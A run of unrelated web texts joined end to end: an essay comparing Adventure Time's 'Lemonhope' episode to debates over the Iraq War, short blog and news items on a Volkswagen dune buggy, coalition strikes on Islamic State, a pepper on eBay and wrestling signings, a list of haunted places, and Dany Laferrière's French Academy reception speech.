On the other hand, Lemongrab’s Earldom is completely predicated on oppression and suffering. As a matter of fact, it seems like the only reason that the Earldom of Lemongrab exists is so that Lemongrab has people to torture and imprison. The irony here is that the Candy Kingdom with its individualist principles has a moral interest in freeing the lemons, but because of its respect for the Earldom’s sovereignty, Princess Bubblegum can’t directly interfere with the Lemon Earldom or even get too close to it; this makes Lemonhope the only one who can free the lemons, but due to his nature as a lemon, Lemonhope, much like the Earl, doesn’t care about anyone but himself – as he says to Bubblegum, “I don’t have to do anything that I don’t want to! They set me free, and free means that I decide what I do. Not them, and not you!”
This is a paradox that constantly plagues foreign policy wonks – is the responsibility of free nations to support and spread freedom, even if it takes military intervention? Or does a devotion to freedom require a hands-off approach, live-and-let-live, even to the point of tacitly approving of others’ oppression in the name of respect for the sovereignty of countries that aren’t technically “rogue states”?
Think of the 2003 Iraq War. Leaving aside the widely-assumed-but-officially-denied economic justifications for the U.S.’s going to war, their official reasons were threefold: that Iraq’s presumed possession of weapons of mass destruction presented a genuine threat to the United States and its allies; that Saddam Hussein was known to be supporting terrorist groups such as Hamas; and to free the people of Iraq from Hussein’s dictatorial rule and oppression. Two of the main forms of opposition to the war were the ideological, libertarian isolationism of people like Ron Paul, which professes that sovereign nations ought to stay out of each other’s business altogether; and the argument that the human cost of going to war would be too high to justify. Eliminating the “weapons of mass destruction” pro-war argument (given that none were found), and the “funding terrorism” argument (which no one really reasonably opposed, since Hussein’s financial support for Hamas – although not, it should be noted, for Al Qaida – was certainly no secret), the fact is that neither the anti-war Left nor the anti-war Right denied that the Iraqi people were being quite brutally oppressed. They just thought that freeing them from that oppression would, in some way, do more harm than good. Leaving aside our knowledge in hindsight that, in this particular event, the post-Saddam situation was screwed up in monumental fashion, the question in principle of whether or not to interfere in the affairs of undeniably oppressive foreign regimes remains.
And what better medium to discuss this than a children’s cartoon about talking candy and a stretchy dog?
Princess Bubblegum is adamant that Lemongrab must be deposed. It’s likely that she feels somewhat responsible for the oppression of the lemon people – although, of course, Lemongrab is oppressing his citizens of his own free will, it was Princess Bubblegum who created Lemongrab in the first place and who allowed him to come into possession of the candy life formula. The parallels between the U.S. and Iraq are certainly apparent in this: the U.S. supported Iraq in its war against Iran in the 1980s, believing that Iran’s Islamist regime was more of a threat to the region than Iraq’s secular Ba’athist party. This, of course, was followed by Iraq’s invasion of Kuwait after the inconclusive end to the Iran-Iraq war; Iraq, for various reasons, believed that the United States wouldn’t prevent it from annexing Kuwait, and was unpleasantly surprised when an American-led coalition attacked in Kuwait’s defense. The terms of Iraq’s surrender, six months later, included sanctions and the establishment of a no-fly zone – both of which Iraq violated, giving justification (at least from an international law perspective) for renewed hostilities in 2003, although this was not one of the main arguments that the U.S. presented when preparing for that conflict.
So while the situations are quite different in their details, the similarities remain: interference in the affairs of foreign entities leads to mixed results at best. While Princess Bubblegum once freed the Candy Kingdom from Lemongrab’s brutality (Lemongrab was originally created to be Bubblegum’s successor, until it became apparent that he was dangerously insane), her granting him an Earldom of his own, with lemon citizens of his own, led directly to the creation of a new dictatorship in Ooo. Similarly, by choosing to support what they saw as the lesser of two evils, the U.S. in effect helped solidify Saddam Hussein’s oppressive rule over Iraq, even as America attempted to impose and enforce sanctions related to the despot’s treatment of his people. Despite what could be seen in both cases as good intentions subverted by short-sightedness and/or plain old incompetence – big mistakes, in any case – both feel the ideological tension brought on by their devotion to freedom being implicated in the oppression of others somewhere else.
Is it Lemonhope’s responsibility to free the lemons? Ideologically, he’s libertarian – halfway between Princess Bubblegum’s benevolent dictatorship and Lemongrab’s malevolent one. It’s not that Lemonhope doesn’t care about freedom; freedom is very important to him, he even calls himself “a lemon of freedom” in one of his songs – but only his own freedom. Unlike Lemongrab, Lemonhope has absolutely no interest in subjugating others; but unlike Bubblegum, he has no interest in liberating them either. He cares only about himself – and he’s okay with other people caring only about themselves too. The Earl of Lemongrab is selfish to the point of near-solipsism; it infuriates him to see anyone besides himself having independent needs or interests. On the other hand, Princess Bubblegum is so concerned with the freedom of others that she’s sometimes willing to compel people to do things when it serves the greater good. Both of these imply a kind of paradox.
When Lemonhope leaves the Candy Kingdom (naked, because freedom) and stows away on a pirate ship (because it “looks just lousy with freedom, straight up right out the diddle-doo…coming at you right straight up”), he finally begins to see the inherent conflicts and weaknesses in the notion of absolute freedom. While Lemonhope sleeps under a blanket of rats, the ship crashes and sinks into the desert (it was a sand ship). An injured Lemonhope, his harp broken, makes his way to the deck of the ship, where he instantly admits, “I think I really need some help.” Of course, no help is forthcoming.
We next see Lemonhope some time later, emaciated, camping out in the abandoned pirate ship. His confidence in his individualistic viewpoint has already taken a beating, but he’s desperate to cling to it. He wakes from a disturbing dream (“A lot of nightmares again. I guess that’s freedom for you!”), to discover that his supply of lime juice, his only source of nutrition, is used up (“I guess if there’s no juice, I got freedom to go find water!”), and momentarily berates a cloud that has been hanging in the sky for a while (“Weird cloud’s still there. Couldn’t rain a little, could ya! Cloud! Huh, what are you gonna do – freedom not to rain, I guess.”), and goes off in search of water, but only manages to wander in the desert for an unknown period of time, seemingly about to die of thirst (plus his head catches on fire).
Of course he is rescued – by a mysterious stranger named Phlannel Boxingday, who has been watching Lemonhope this whole time from inside that weird cloud – and who looks suspiciously like Princess Bubblegum in drag. After giving Lemonhope some water, Phlannel tells the young naked lemon that “you’re totally free to come hang out with me until you’re feeling stronger. It’s your choice!” Now, Lemonhope actually has to think about this for a moment – accepting help seems to violate his principle of self-sufficiency for himself and others, but although Phlannel’s offer sounds entirely casual and friendly, it’s also carefully phrased in terms that allow Lemonhope to maintain his dignity. Of course Lemonhope’s “choice” is less free than this – he could either go with Phlannel or die there in the desert. Not really much of a choice at all, and Lemonhope, to his credit, realizes that accepting help is less ignominious than dying alone for no good reason.
Lemonhope and Phlannel Boxingday fly around solving problems together for a while (“killing monsters that eat dosh and then keeping the dosh”), but Lemonhope is still plagued by disturbing symbolic nightmares. “I’m free now, Phlannel,” laments Lemonhope, “to do all whatevs I ever wanted. But all I think about is my old life. What does it mean?”
And wise old Princess Bu – um, I mean Phlannel Boxingday sagely explains: “Well, it’s true you are free. Free to help the lemon people, or leave them be. But a debt unpaid is not easily forgotten. So you are a prisoner still.”
Lemonhope decides, “I’ll go back. And I’ll help my people. And maybe I’ll feel better.”
Which he does. Ultimately, after he defeats the Earl of Lemongrab, Princess Bubblegum invites Lemonhope to remain in the Earldom to act as its champion and protect its people in the future – an offer that Lemonhope declines. Lemonhope openly admits that it was not any sense of altruism that led him to save his brethren. “You guys are cool and all,” he explains to Princess Bubblegum and Finn, “but I mostly came back here so I could stop thinking about y’all all the time. I’ll be back when I’m tired of being free. See you in a thousand years, I guess!”
His self-interest is indeed genuine, and fundamentally Lemonhope is almost completely incapable of empathy for others. Princess Bubblegum (in the guise, I think it’s safe to say, of Phlannel Boxingday) manipulated Lemonhope to get him to do what she wanted while making him believe that it was what he wanted – which doesn’t sound very much like something a good guy would do, does it? She believed that it was only Lemonhope’s viewpoint based on his circumstances that made him reluctant to help, that once Lemonhope had experienced the hardship that directly resulted from his need to be radically independent, that he would better understand why responsibility needed to go hand-in-hand with freedom. Phlannel Boxingday refers to “a debt unpaid” – but was it a debt Lemonhope owed to the lemons, by virtue of some service to the concept of freedom itself, that no free person should be able to abide the oppression of others? Or was it merely a debt to Finn and Princess Bubblegum, for freeing Lemongrab personally? Bubblegum clearly holds the former view, while Lemongrab seems to hold the latter.
Adventure Time comes to a typically ambivalent conclusion in “Lemonhope,” satisfying the requirements of the story while laying bare the inextricable complications of the meaning of freedom and how it requires and yet conflicts with responsibility. Those with the capacity to help others also need the desire to do so – even though valuing freedom can precisely be what causes a person to be unwilling to “violate” the self-determination of others by redeeming them from their oppression.
Are free people obligated to fight for the freedom of others? Can you force a person to be free? It is okay to trick people into endangering themselves if you believe it will lead to greater freedom for the world at large? What if you’re convinced that it’s only fear or self-centredness posing as individualism that prevents those with the power to liberate others from doing so?
Pretty heavy stuff for a kids’ cartoon. But then, the world of international politics and its seemingly unanswerable questions can very often look a lot like recess in the schoolyard.
P.S. Sorry for saying “lemon” so much.As I mentioned in yesterday’s Nutts and Bolts blog, I had gone to a car show over the previous weekend and saw a lot of interesting things. One of the cars that really caught my eye was a heavily modified Meyers Manx. Typically, I have zero interest in these and skip right over them, but this one had my name written all over it. This guy ran a VW engine, with a turbocharger, and a megasquirt fuel injection system. Everything was polished, painted, or plated, and it had wheelie bars that looked not only functional, but used. Does it get better than this is the world of Volkswagen? If so, I challenge you to show me, because I don’t believe it. This is the pinnacle of fun.
Some people tell me that I have a subconscious love for air cooled Volkswagens. I think those people are crazy.At least 50,000 Islamic State jihadists have been killed by the US-led coalition since it began operations in Iraq and Syria in late 2014, a senior US military official said Thursday.
A relentless operation using planes and drones from a dozen or so members of the anti-IS coalition since August 2014 has conducted some 16,000 air strikes against the jihadists in Iraq and Syria -- two-thirds of them in Iraq.
In addition, the coalition has provided training and weapons to local forces fighting IS.
"I am not into morbid counts but that kind of volume matters, that kind of impact on the enemy," the official said, calling the 50,000 number a conservative estimate.
The official, speaking on condition of anonymity, said the air campaign had been the "most pristine" ever in terms of avoiding civilian casualties, with almost all the bombs dropped so far being smart weapons that can be steered to a precise target.
The coalition tally of civilians killed in the operations is 173 -- though critics say the real figure is far higher.
The official said the coalition had diminished IS's ranks to such a level that the simultaneous attacks being waged on Mosul in Iraq and Raqa in Syria -- the jihadists last remaining major power centers -- have been possible.
Coalition spokesman Colonel John Dorrian said earlier that in Mosul, IS was turning to adolescent fighters as its hardcore warriors got wiped out.
"As this effort goes on with each passing day, Daesh has fewer fighters and fewer resources at their disposal," Dorrian said in a videocall, using an Arabic IS acronym.
He added the jihadists appeared to have run out of armored suicide car bombs, and estimated "many hundreds" of fighters had been killed in Mosul.
"It doesn't mean that it's not still an extraordinarily dangerous situation. They are not going to go quietly, but they are going to go."
The coalition has previously said it "does not use a casualty count as a measure of effectiveness in the campaign to ultimately defeat (IS) in Iraq and Syria".
Despite this assertion, such figures are periodically announced.
Airwars, a London-based collective of journalists and researchers, uses local sources, photographs and media accounts to keep a detailed list of every known coalition air strike.
They have praised Pentagon efforts at accountability compared with other actors in Syria such as Russia and the regime of President Bashar al-Assad. But the group says the number of likely civilian deaths from coalition strikes is 1,957 at a bare minimum.Somebody with a lot of imagination is selling a green pepper that looks like a ninja turtle head on eBay. Personally, I think it looks like a hacky-sack.
This is a home grown green bell pepper that, by the hand of God, looks (and maybe tastes) just like one of the Teenage Mutant Ninja Turtles, I think it looks like Michelangelo, this will of course be shipped overnight USPS, bid now its only a three day auction.
It sits right now in a vacuum sealed bag, can be frozen if you like.
First of all, I think it's pretty obvious that's Raphael and not Michelangelo. And secondly, what's all this "can be frozen" business? Are you out of your mind? YOU CAN'T PUT A TURTLE IN THE FREEZER! They're cold blooded. Get it?! Because they always reject my advances!
eBay Auction
Thanks to OneEyedJamie, who lost an eye battling cucumber Shredder.- The Wrestling Observer Newsletter reports that Erick Rowan's injury suffered on June 19th in the live event match with Cesaro is a torn biceps and he will be out of action for four months but if he chooses to undergo surgery, he will be out longer.
- WWE has offered contracts to Pro Wrestling NOAH talents "The Mighty Don't Kneel" Mikey Nicholls and Shane Haste after the duo impressed at the recent tryouts camp at the Performance Center in Orlando. The two are just waiting for visa paperwork to process and medical testing to be done. These deals usually take several weeks after decisions are made but Nicholls and Haste, who is suffering from a knee injury, should be signed soon.
Source: Wrestling Observer Newsletter
Subscribe to The Wrestling Observer by clicking here. Each issue has coverage and analysis of all the major news, plus history pieces. New subscribers can also receive free classic issues.Many of you will remember our original list of haunted places in which we visited some of the most famous haunted sites in the world. This list contains fewer famous, but equally spooky places. Not restricted to houses, we also look at graveyards and towns.
10 Babenhausen Barracks
At the German Babenhausen Barracks (now a museum) the ghosts of German soldiers, some in World War II era uniforms, have been reported. Lights are said to turn off and on by themselves and voices are heard in the basement. Footsteps and commands are allegedly heard at night, supposedly without physical cause. Legend has it that if a soldier happens to visit the museum and pick up a telephone, a woman will at times be heard “talking backwards”, unintelligible, in neither German nor English. The town was the site of a witch burned at the stake in the 19th century, and her ghost is said to have seduced, and then killed, several German soldiers since then. Pictured above are two American Soldiers at the Barracks in 1974. [Wikipedia]
9 The Screaming Bridge
Maud Hughes Road is located in Liberty Township, Ohio. It has been the site of many terrible accidents and suicides. Railroad tracks lay 25 feet below the bridge, and at least 36 people have been reported dead on or around the Maud Hughes Road Bridge. Ghostly figures, mists, and lights have been seen, as well as black hooded figures and a phantom train. The legend says that a car carrying a man and a woman stalled on top of the bridge. The man got out to get help while the girl stayed. When the man returned, the girl was hanging on the bridge above the tracks. The man then perished with unexplained causes. To this day, many people have reported hearing the ghosts’ conversations, then a woman’s scream followed by a man’s scream. Another story says that a woman once threw her baby off the bridge and then hanged herself afterwards. [Wikipedia]
8 112 Ocean Avenue
This house will be no stranger to people who love horror movies. It is the house on which the film The Amityville Horror is based. The house is a six-bedroom Dutch Colonial style house built in 1924. The best known feature of the house was, at one time, its pair of quarter circle shaped windows on the third floor attic level, which gave it an eerie, eye-like appearance. These windows have since been removed and the house renumbered to keep tourists away. On November 13, 1974, 23-year old Ronald DeFeo, Jr. fatally shot six members of his family at the house. During his murder trial in 1975, he claimed that voices in his head had urged him to carry out the killings. He was found guilty and is still in jail in New York. In December 1975, George Lutz and his wife, Kathy, purchased the house and moved in with their three children. After 28 days they left the house, claiming to have been tormented by paranormal phenomena while living there. The family experienced foul smells, faces at the windows, screams, moving objects, and all manner of bizarre phenomena. The image above is the house as it appears today. [Wikipedia]
7 Pickens County Courthouse
The Pickens County Courthouse in Carrollton, Alabama is a courthouse in west Alabama famous for a ghostly image that can be seen in one of its windows. The image is said to be the face of Henry Wells, who, as legend has it, was falsely accused of burning down the town’s previous courthouse, and lynched on a stormy night in 1878. The image on the window is easily seen, although it is more face-like from some angles than from others. It is said that the image is only visible from outside the courthouse; from inside the pane appears to be a normal pane of glass. Since the photo above was taken, the city of Carrollton has installed, on the exterior of the courthouse, a reflective highway sign with an arrow pointing to the pane where the image appears. There are permanent binoculars installed across the street from the window for people who wish to get a closer look. [Wikipedia]
6 Balete Drive
Balete Drive is a street located in New Manila, Quezon City, Philippines. It is known for apparitions of a white lady and haunted houses which were built during the Spanish Era (1800s). New Manila has an abundance of balete trees, which, according to legend, is a favorite spot of wandering spirits and other paranormal beings. Paranormal experts believe that the white lady was raped by Japanese soldiers during the Second World War. Witnesses of the white lady, advise motorists to avoid the street at night, especially if they are alone. If it is necessary to travel the route, they advise that the backseat of the car is fully occupied and that no one should look back or look in any mirrors. The apparition wears a night gown, has long hair but has no face or one covered with blood. [Wikipedia]
5 Rosenheim, Bavaria
More well known as the Rosenheim Poltergeist, this infestation of bizarre activity is one of the most well known in Germany. In 1967, strange phenomena began occurring in the office of lawyer Sigmund Adam. Telephones would ring with no one at the other end, photocopiers spilt their ink, and desk drawers would open without being touched. A German paper installed equipment to monitor the phones and in 3 month they recorded over 600 calls to the speaking clock – despite the fact that all of the telephones were unplugged. In one 15 minute period, 46 calls were recorded – a rate that seemed impossible given the mechanical dialing system in place. In October 1967, all light bulbs in the building went out with a huge bang. After installing cameras and voice recorders, investigators were able to discover that the events only took place when 19-year-old Annemarie Schneider (a recently employed secretary) was present. It was claimed that a suspended light would swing violently when Ms Schneider walked beneath it, and the lights would flicker whenever she walked in to the office. When Schneider went on holiday the events stopped. Upon her return, the poltergeist activity returned. Schneider was fired and the problems stopped for good. Pictured above is Schneider beneath the lights that were seen to swing.
4 Bélmez de la Moraleda
One house in one street in Bélmez de la Moraleda, Spain has recently become very famous thanks to eerie faces that have been appearing in the floor. Street Real 5 has become a popular attraction for ghost tourists as the faces appear frequently and can be easily photographed. The appearances in Bélmez began on August 23, 1971 when María Gómez Cámara saw a face appear on her cement kitchen floor. Her husband took a pickaxe and destroyed the face. Soon after another one appeared. An excavation, conducted under the location of the house, revealed human remains, which were removed. The picture above is one of the faces.
3 Union Cemetery
Union Cemetery in Easton, Connecticut is not just the most haunted cemetery in Connecticut, it is considered by many to be the most haunted cemetery in the United States. The most famous ghost there is the White Lady. Numerous photographs have been taken of her and she has even been caught on film. She has long dark hair and wears a bonnet and nightgown. She frequently appears in the roadway along route 59 and sometimes route 111 where she is often “hit” by oncoming vehicles. On one occasion in 1993, a fireman was driving along the road when he hit the lady – he heard a thud and a dent was left in his vehicle. As the woman appeared in front of his car he also saw a farmer with a straw hat sitting beside him in the car. The cemetery is locked at night and regularly patrolled by the police. The image above is one of many that can be found on the Internet.
2 Pluckley
Pluckley is a small village in Kent, England that is believed to be the most haunted village in England. In addition to the 12 (some say 13 or 14) ghosts in Pluckley, the village is also famous for the television program The Darling Buds of May which was filmed there. Of the ghosts you can see here, the most spectacular are the ghostly highwayman and coach and horses seen near the town hall, the ghost of a gypsy woman burned to death in her sleep, two hanging bodies, a phantom monk, three upper class ladies and, perhaps spookiest of all, the Screaming Woods. The Screaming Woods is an area just outside the town haunted by the ghosts of many people who were lost there. Their screams can be heard coming from inside the forest at night.
1 50 Berkeley Square
This residential area of London best known for the song A Nightingale Sang in Berkeley Square, is also home to the most haunted house in London! Number 50 Berkeley Square is home to a large number of ghosts, the earliest of which is that of a young girl murdered in the 1700s by a sadistic servant. She is frequently seen on the top floor sobbing and wringing her hands in despair. Another woman trying to escape her uncle fell from a window – her ghost is often seen hanging from a windowsill. While the house was vacant in the 1870s, the neighbors heard numerous screams and moans coming from the house. They also heard furniture moving, bells ringing, and
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The New Astronomy 1891 PDF 14mb
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The Story of the Telescope 1909 PDF 7mb
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M. Dany LAFERRIÈRE
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M. Dany LAFERRIÈRE, ayant été élu à l’Académie française à la place laissée vacante par la mort de M. Hector BIANCIOTTI, y est venu prendre séance le jeudi 28 mai 2015, et a prononcé le discours suivant :
Mesdames et Messieurs de l’Académie,
Permettez que je vous relate mon unique rencontre avec Hector Bianciotti, celui auquel je succède au fauteuil numéro 2 de l’Académie française. D’abord une longue digression – il y en aura d’autres durant ce discours en forme de récit, mais ne vous inquiétez pas trop de cette vieille ruse de conteur, on se retrouvera à chaque clairière. C’est Legba qui m’a permis de retracer Hector Bianciotti disparu sous nos yeux ahuris durant l’été 2012. Legba, ce dieu du panthéon vaudou dont on voit la silhouette dans la plupart de mes romans. Sur l’épée que je porte aujourd’hui il est présent par son Vèvè, un dessin qui lui est associé. Ce Legba permet à un mortel de passer du monde visible au monde invisible, puis de revenir au monde visible. C’est donc le dieu des écrivains.
Ce 12 décembre 2013 j’ai voulu être en Haïti, sur cette terre blessée, pour apprendre la nouvelle de mon élection à la plus prestigieuse institution littéraire du monde. J’ai voulu être dans ce pays où après une effroyable guerre coloniale on a mis la France esclavagiste d’alors à la porte tout en gardant sa langue. Ces guerriers n’avaient rien contre une langue qui parlait parfois de révolution, souvent de liberté. Ce jour-là un homme croisé à Port-au-Prince, peut-être Legba, m’a questionné au sujet de l’immortalité des académiciens. Il semblait déçu de m’entendre dire que c’est la langue qui traverse le temps et non l’individu qui la parle, mais que cette langue ne perdurera que si elle est parlée par un assez grand nombre de gens. Il est parti en murmurant : « Ah, toujours des mots… » C’est qu’en Haïti on croit savoir des choses à propos de la mort que d’autres peuples ignorent. La mort est là-bas plus mystique que mystérieuse.
Ici, on se souvient d’Hector Bianciotti comme d’un homme généreux, élégant et cultivé. Trois qualificatifs qui reviennent dès qu’on apprend quelque part que j’entre à l’Académie française. « Au fauteuil de qui? » « Hector Bianciotti. » « Ah, me répond-on, vous êtes chanceux! Ça va être facile d’en dire du bien. C’est un bon écrivain et un homme courtois. » J’entends ces commentaires louangeurs à Port-au-Prince, à Bruxelles, à Montréal et surtout à Paris. On vient généralement à une pareille cérémonie pour fêter le nouvel élu, mais beaucoup de gens sont ici ce soir pour entendre ce que j’ai à dire à propos d’Hector Bianciotti. Passerai-je l’examen? Au lieu de comparaître devant vous, je vais plutôt voir l’écrivain français venu d’Argentine afin de comprendre cet étrange hasard qui nous a réunis sur ce fauteuil.
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Comme dans un roman de Proust qu’il ne nomme pas souvent, lui préférant Alberto Savinio, mais dont la grande ombre s’étend sur son œuvre, on remarque chez Bianciotti l’incessant exercice de mémoire où les détails s’accumulent et les analyses se bousculent jusqu’à couvrir parfois la musique intime qui relie les visages aux paysages. Une demi-douzaine de thèmes reviennent presque à chaque livre : la ferme du père, la monotone pampa dont il a tiré des sons plus proches de la musique classique que de la milonga locale, une famille fellinienne, en fait plus proche de Kusturica que de Fellini, avec de gros plans comme ceux sur la grand-mère qui montrent un goût certain pour le cinéma, les départs toujours précipités, l’errance dans les grandes villes, le retour avec son cortège d’émotions confuses, le temps circulaire qui appelle ces étourdissantes répétitions, tout cela fait penser à un enfant qui refuse de descendre du manège malgré une peur croissante. Sa curiosité insatiable et son sens aigu des détails signalent une nature inquiète et fiévreuse. L’emploi imprévisible qu’il fait de l’adjectif dans une phrase par ailleurs classique rappelle Borges.
C’est cet homme élégant jusqu’au bout des ongles qui m’a donné rendez-vous au Grand Splendide, un hôtel que je croyais luxueux mais qui se révèle « de troisième catégorie, selon une appellation bienveillante, mais en réalité sinon du dernier tout au plus d’avant-dernier ordre ». On peut lire cette note dans Le Traité des saisons qui fait penser, par le titre au moins, à un de ces magazines sur papier glacé et parfumé qui accorde des étoiles aux hôtels, aux villes, aux souvenirs, aux nappes, aux paravents, aux mouches, aux roses et même aux oublis. On imagine qu’Hector Bianciotti y publie des chroniques et que la propriétaire du Grand Splendide ne lui fait pas payer le loyer et les repas en espérant qu’il écrira un article qui saura redonner du lustre à cet hôtel déclassé. C’est là qu’il se terre depuis sa disparition du paysage parisien.
Je le trouve dans la petite bibliothèque, confortablement installé dans un fauteuil recouvert de plastique « d’un rouge chimique ». Il interrompt sa lecture pour m’accueillir avec un sourire résigné. Si je rencontre Hector Bianciotti aujourd’hui c’est pour lui faire voir qu’à défaut d’un successeur plus éclatant il y a entre nous des liens si solides qu’ils pourraient justifier un tel choix. Si l’équipe française a gagné la Coupe du monde en 1998 c’est parce que son entraîneur clairvoyant avait privilégié une certaine cohésion parmi les joueurs à cette collection de stars dont il pouvait disposer. Bianciotti qui vient d’Argentine, un des grands pays du football, ne saurait être scandalisé par cette comparaison. J’ai un doute car je viens de m’apercevoir qu’il n’y a pas un seul ballon rond dans toute son œuvre. L’écrivain qui peut lire aujourd’hui les pensées des autres se fend d’un sourire légèrement plus détendu que celui avec lequel il m’avait accueilli. Puis il dépose lentement sur la petite table le livre de Borges sur le bouddhisme qu’il lisait à mon arrivée.
J’allais entrer de plain-pied dans ma plaidoirie quand j’ai vu passer cette silhouette reconnaissable par ses joues gonflées et ce regard las d’un homme qui a traversé bien des tempêtes. C’est Oscar Wilde. La propriétaire de l’hôtel le suit dans l’escalier avec un service à thé sur un grand cabaret rose. Je jette un regard à cet homme prématurément vieilli par un injuste procès de mœurs pour revenir à Bianciotti qui m’offre des yeux doux et purs délicatement posés sur un visage nu. Ainsi commence la soirée avec monsieur Bianciotti. Si j’ai pris du retard dans les présentations c’est que je suis en compagnie d’un homme qui dispose d’un temps infini, ce qui n’est pas votre cas, j’en tiendrai compte.
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Il est indéniable que ce fauteuil numéro 2 que nous partageons a un destin américain. Borges, votre écrivain préféré, et cela pour de diverses raisons, décrit sans ambages les différences entre l’Amérique et l’Europe. Dans Enquêtes il nous présente deux écrivains aux antipodes. D’un côté Valéry, votre Valéry tant aimé, disons plutôt tant admiré car je ne sais pas si on peut aimer Valéry, et de l’autre, Walt Whitman. Pour Borges : « Valéry symbolise d’infinies adresses, mais aussi des scrupules infinis ; Whitman, une vocation de félicité presque incohérente mais titanique ; Valéry personnifie glorieusement les labyrinthes de l’esprit ; Whitman, les interjections du corps. Valéry est le symbole de l’Europe et de son délicat crépuscule ; Whitman, celui du matin américain. » Si certains points dans ce duel de personnalités vous semblent excessifs, je sais que vous partagez avec moi cette idée extravagante qu’un texte bien écrit contient sa propre vérité.
J’ai remonté le fauteuil numéro 2 pour trouver à coté de grands esprits comme Montesquieu un certain François-Jean de Beauvoir, marquis de Chastellux. Cet intellectuel, ami de Voltaire, était aussi un homme d’une certaine bravoure qui participa à la guerre d’Indépendance américaine sous le commandement du comte de Rochambeau. Permettez que je m’arrête un moment sur le nom de Rochambeau. Si le père a fait la guerre d’Indépendance américaine au côté de Washington et qu’il est connu comme étant le vainqueur de Yorktown, si le père était donc du bon côté, le fils fut le pire bourreau envoyé à Saint-Domingue qui deviendra Haïti après la défaite de l’armée napoléonienne à Vertières. C’est lui, François Donatien Rochambeau, qui fit venir de Cuba des chiens pour chasser les esclaves en fuite. Ah, cher Hector Bianciotti la rencontre de l’Amérique et de l’Europe ne fut pas toujours aussi civilisée que le face-à-face de Valéry et de Whitman imaginé par Borges. Vous-même, vous racontez, d’une manière elliptique certes, la condition misérable de ces Indiens qu’on finit par employer comme main-d’œuvre sur leurs propres terres. On n’a qu’à constater cette violence si lourdement présente dans la vie quotidienne des petits fermiers venus parfois du Piémont pour imaginer le sort réservé aux premiers habitants de cette terre.
J’ignore si vous avez été bercé, enfant, comme je le fus en Haïti par les guerres de libération, et si Bolivar a compté pour vous comme il a compté pour moi. Si oui, sachez qu’il séjourna trois mois en Haïti, du 24 décembre 1815 au 31 mars 1816. Épuisé et défait, il chercha de l’aide auprès du général Pétion, alors président de la jeune république haïtienne. Haïti était le seul pays d’Amérique à comprendre une telle passion de liberté. Au terme de son séjour Pétion lui fournit un bateau, des hommes et des armes. En échange il lui demanda de libérer les esclaves des pays conquis au nom d’Haïti. Ces histoires ont nourri mon imaginaire, et chaque fois que je croise un Sud-Américain, mon premier réflexe est de savoir s’il est au courant de cet épisode. Vous n’en avez soufflé mot dans votre œuvre, préférant l’histoire familiale à l’histoire nationale – un point de vue que je partage avec vous. Peut-être parce que la vie fut trop dure pour ces paysans piémontais pour qu’ils se sentent concernés par un quelconque sentiment national. D’ailleurs ces notions idéologiques vous indiffèrent sauf s’il s’agit du populisme de Peron et de sa femme Eva dont vous avez tiré des portraits d’une férocité jubilatoire.
Je me demande si Dumas a compté pour vous, et s’il a illuminé votre enfance comme il l’a fait de la mienne. Si je parle de Dumas c’est parce qu’il a occupé aussi ce fauteuil. Même si ce n’était pas le Dumas des Trois Mousquetaires mais plutôt son fils, l’auteur de La Dame aux camélias. De toute manière les Dumas ont de profondes racines en Haïti puisque c’est une « négresse », selon l’appellation de l’époque, qui a donné naissance au général Dumas, le grand-père de notre confrère Alexandre Dumas fils. Je dois souligner que le nom Dumas ne vient pas du père, le marquis de La Pailleterie, mais de la mère, une jeune esclave du nom de Marie Louise Césette Dumas. Ces Dumas ont le sang vif de ces mousquetaires qui osèrent affronter notre fondateur le cardinal Richelieu. Enfant, j’étais du côté de d’Artagnan, aujourd’hui je me range derrière le Cardinal. Le temps nous joue de ces tours.
J’ajoute que Montesquieu, avec ses observations critiques et ironiques sur l’esclavage, pourrait se retrouver facilement dans un manuel d’histoire de l’Amérique, puisque l’esclavage est à la base de la prospérité de ce continent. Ce fauteuil est le siège de tant d’aventures reliées à l’Amérique que je ne serai pas étonné qu’il devienne un jour le fauteuil américain de l’Académie.
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Ah, l’enfance, elle revient sans cesse comme chez beaucoup d’écrivains, mais dans votre mémoire elle prend une dimension épique. Vos descriptions sont si terrifiantes qu’elles me font regretter mon enfance lumineuse au pied d’une grand-mère sereine. Vous égrenez dans cette œuvre troublante une litanie de malheurs : une terre aride, un père taciturne et violent et une mère cherchant constamment un lieu où s’abriter de la colère de son mari. Elle n’avait qu’à tomber enceinte car le père n’était sensible qu’à l’idée de l’augmentation de la main-d’œuvre. Dans ce carnaval incessant défilait le char allégorique de la grand-mère. À ce regard voilé on sent tout ce que cette femme a représenté pour vous : en premier lieu la résistance à votre père, qui lui vaut une dignité de reine en exil. Cette grand-mère, aussi innocente dans sa méchanceté qu’un insecte nuisible, vous a sauvé de l’ennui tout en vous offrant votre plus beau personnage. Ses nombreuses courses dans la pampa parfois boueuse à la recherche de fermes plus hospitalières où ses autres fils pourraient l’héberger après une dramatique rupture avec votre père. Je me demande si ce personnage plus grand que nature n’était pas une affectueuse tentative de vous rapprocher de cette littérature sud-américaine à vos yeux trop colorée. Car votre grand-mère pourrait se retrouver facilement dans les romans de Garcia Marquez. Vos autres personnages sont tenus, non par les images, mais par ce style classique qui fait de vous un écrivain français, et cela avant que vous ayez songé à écrire un roman en français. Il faut dire que différemment des autres pays sud-américains, l’Argentine s’est toujours mise dans le sillage d’une Europe sobre à l’imagination bridée par l’érudition et l’analyse. Ah! cette enfance, vous en avez tant parlé en ajoutant chaque fois de nouveaux détails. Vous avez décrit, sous différents éclairages, chaque chambre, chaque meuble, chaque visage. Les exilés font ça pour que vers la fin, au moment où tout s’obscurcira, ils puissent retrouver le chemin du retour.
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Vous aviez tout de suite deviné, cher Hector Bianciotti, que ce monde brutal de la paysannerie structuré par le travail et la violence n’était pas le vôtre. Et vous n’aviez de cesse de le quitter. En cela vous ressemblez à tant de jeunes gens. La scène du départ, à part qu’elle soit émouvante, ne nous apprend rien de nouveau à propos des personnages. Ils sont autour d’une table. La mère, tête baissée, qui regarde le père. Le père, sortant un grand cahier où il a noté tout ce que vous lui devez, vous fait jurer de payer vos dettes. Vous êtes là, abasourdi par tant de mesquineries. Je sais qu’on finit par ressembler à celui qu’on déteste, surtout vers la fin. Vous prenez enfin la route, soulagé, sachant que vous n’allez plus jamais revenir dans ce village perdu où vous avez vécu une enfance si triste. Vous ne saviez pas encore qu’on ne quitte pas son enfance. Et que le voyage ne prend son sens qu’au retour. On vous sait avide de sensations, vous ayant vu, dans la pampa, embrasser la terre, les arbres comme les animaux. Et aussi un garçon de ferme, Florencio. Votre mère semblait désemparée devant une telle frénésie. Ces pages sur la naissance du désir me semblent les plus belles de votre œuvre.
